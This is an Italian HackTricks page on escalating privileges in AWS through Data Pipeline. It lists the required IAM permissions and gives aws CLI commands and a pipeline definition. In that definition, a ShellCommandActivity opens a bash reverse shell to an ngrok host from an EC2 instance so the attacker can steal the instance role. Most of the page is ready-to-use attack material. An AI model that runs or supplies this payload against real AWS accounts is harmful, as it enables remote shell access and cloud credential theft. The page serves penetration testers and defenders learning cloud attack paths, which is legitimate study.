AWS - Datapipeline Privesc

Supporta HackTricks

datapipeline

Per ulteriori informazioni su datapipeline controlla:

iam:PassRole, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition, datapipeline:ActivatePipeline

Gli utenti con queste autorizzazioni possono elevare i privilegi creando un Data Pipeline per eseguire comandi arbitrari utilizzando le autorizzazioni del ruolo assegnato:

aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string

Dopo la creazione della pipeline, l'attaccante aggiorna la sua definizione per dettare azioni specifiche o creazioni di risorse:

{
"objects": [
{
"id" : "CreateDirectory",
"type" : "ShellCommandActivity",
"command" : "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
"runsOn" : {"ref": "instance"}
},
{
"id": "Default",
"scheduleType": "ondemand",
"failureAndRerunMode": "CASCADE",
"name": "Default",
"role": "assumable_datapipeline",
"resourceRole": "assumable_datapipeline"
},
{
"id" : "instance",
"name" : "instance",
"type" : "Ec2Resource",
"actionOnTaskFailure" : "terminate",
"actionOnResourceFailure" : "retryAll",
"maximumRetries" : "1",
"instanceType" : "t2.micro",
"securityGroups" : ["default"],
"role" : "assumable_datapipeline",
"resourceRole" : "assumable_ec2_profile_instance"
}]
}

Nota che il ruolo nelle righe 14, 15 e 27 deve essere un ruolo assumibile da datapipeline.amazonaws.com e il ruolo nella riga 28 deve essere un ruolo assumibile da ec2.amazonaws.com con un profilo istanza EC2.

Inoltre, l'istanza EC2 avrà accesso solo al ruolo assumibile dall'istanza EC2 (quindi puoi solo rubare quello).

aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
--pipeline-definition file:///pipeline/definition.json

Il file di definizione della pipeline, creato dall'attaccante, include direttive per eseguire comandi o creare risorse tramite l'API AWS, sfruttando i permessi di ruolo del Data Pipeline per potenzialmente ottenere privilegi aggiuntivi.

Impatto Potenziale: Privesc diretto al ruolo di servizio ec2 specificato.

Riferimenti

Support HackTricks

Last updated